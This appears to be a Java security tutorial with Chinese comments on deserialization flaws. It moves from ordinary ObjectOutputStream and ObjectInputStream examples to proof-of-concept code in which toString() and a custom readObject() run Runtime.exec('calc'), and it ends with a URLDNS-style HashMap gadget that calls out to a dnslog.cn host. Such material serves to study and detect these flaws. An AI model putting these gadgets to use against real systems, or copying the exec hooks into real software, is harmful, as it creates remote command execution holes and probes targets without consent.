1
// 序列化对象并写入文件ser.txt
2
public static void serializeTest(Object obj) throws IOException {
3
    // 创建对象输出流，关联文件输出流
4
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
5
    // 将对象写入流（序列化）
6
    oos.writeObject(obj);
7
    oos.close(); // 关闭流
8
}
9

10
// 读入文件并反序列化
11
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
12
    // 创建对象输入流，关联文件输入流
13
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
14
    // 从流中读取对象（反序列化）
15
    Object o = ois.readObject();
16
    ois.close(); // 关闭流
17
    return o;
18
}

1
package com.example.serialtestdemo;
2

3
import java.io.Serializable;
4

5
// 用户信息类，实现Serializable接口以支持序列化
6
public class UserDemo implements Serializable {
7

8
    // 公共成员变量（会被序列化）
9
    public String name = "xiaodi";
10
    public String gender = "man";
11
    public Integer age = 30;
12

13
    // 构造方法（序列化时不会执行，反序列化也不会自动调用）
14
    public UserDemo(String name, String gender, Integer age) {
15
        this.name = name;
16
        this.gender = gender;
17
        this.age = age;
18
        System.out.println(name);
19
        System.out.println(gender);
20
    }
21

22
    // toString方法，用于打印对象信息（反序列化后输出对象时调用）
23
    public String toString() {
24
        return "User{" +
25
                "name='" + name + '\'' +
26
                ", gender='" + gender + '\'' +
27
                ", age=" + age +
28
                '}';
29
    }
30
}

1
package com.example.serialtestdemo;
2

3
import java.io.FileOutputStream;
4
import java.io.IOException;
5
import java.io.ObjectOutputStream;
6

7
// 序列化演示类
8
public class SerializableDemo {
9

10
    public static void main(String[] args) throws IOException {
11
        // 创建用户对象
12
        UserDemo u = new UserDemo("xdsec", "gay1", 30);
13
        // 调用序列化方法，将对象写入ser.txt
14
        SerializableTest(u);
15
        // ser.txt中存储的是对象u的字节流数据
16
    }
17

18
    // 序列化方法：将对象转换为字节流并写入文件
19
    public static void SerializableTest(Object obj) throws IOException {
20
        // 关联文件输出流，指定输出文件为ser.txt
21
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
22
        // 执行序列化写入
23
        oos.writeObject(obj);
24
        oos.close(); // 关闭流释放资源
25
    }
26
}

1
package com.example.serialtestdemo;
2

3
import java.io.FileInputStream;
4
import java.io.IOException;
5
import java.io.ObjectInputStream;
6

7
// 反序列化演示类
8
public class UnserializableDemo {
9

10
    public static void main(String[] args) throws IOException, ClassNotFoundException {
11
        // 反序列化ser.txt，得到对象
12
        Object obj = UnserializableTest("ser.txt");
13
        // 输出对象（默认调用toString方法）
14
        System.out.println(obj);
15
    }
16

17
    // 反序列化方法：从文件读取字节流并还原为对象
18
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
19
        // 关联文件输入流，读取指定文件
20
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
21
        // 执行反序列化
22
        Object o = ois.readObject();
23
        ois.close(); // 关闭流释放资源
24
        return o;
25
    }
26
}

1
public String toString() {
2
    try {
3
        // 危险操作：执行系统命令（打开计算器）
4
        Runtime.getRuntime().exec("calc");
5
    } catch (IOException e) {
6
        // 异常抛出可能泄漏敏感信息
7
        throw new RuntimeException(e);
8
    }
9
    return "User{" +
10
            "name='" + name + '\'' +
11
            ", gender='" + gender + '\'' +
12
            ", age=" + age +
13
            '}';
14
}

1
public static void main(String[] args) throws IOException, ClassNotFoundException {
2
    // 反序列化得到对象
3
    Object obj = UnserializableTest("ser.txt");
4
    // 输出对象时触发toString方法，执行恶意命令
5
    System.out.println(obj);
6
}
7

8
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
9
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
10
    Object o = ois.readObject();
11
    return o;
12
}

1
// 重写readObject方法，自定义反序列化逻辑
2
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
3
    // 先执行默认的反序列化（必须调用，否则对象属性无法正确还原）
4
    ois.defaultReadObject();
5
    // 危险操作：反序列化时直接执行系统命令（打开计算器）
6
    Runtime.getRuntime().exec("calc");
7
}

1
import java.io.*;
2
import java.net.URL;
3
import java.util.HashMap;
4

5
public class UrLDns implements Serializable {
6
    public static void main(String[] args) throws IOException, ClassNotFoundException {
7
        // 创建HashMap并放入恶意URL
8
        HashMap<URL, Integer> hash = new HashMap<>();
9
        URL u = new URL("http://vnq09p.dnslog.cn"); // 触发DNS查询的URL
10
        hash.put(u, 1);
11

12
        // 序列化HashMap到文件
13
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
14
        oos.writeObject(hash);
15
        oos.close();
16

17
        // 反序列化时触发漏洞
18
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.txt"));
19
        ois.readObject(); // 反序列化过程中自动调用HashMap.readObject()
20
        ois.close();
21
    }
22
}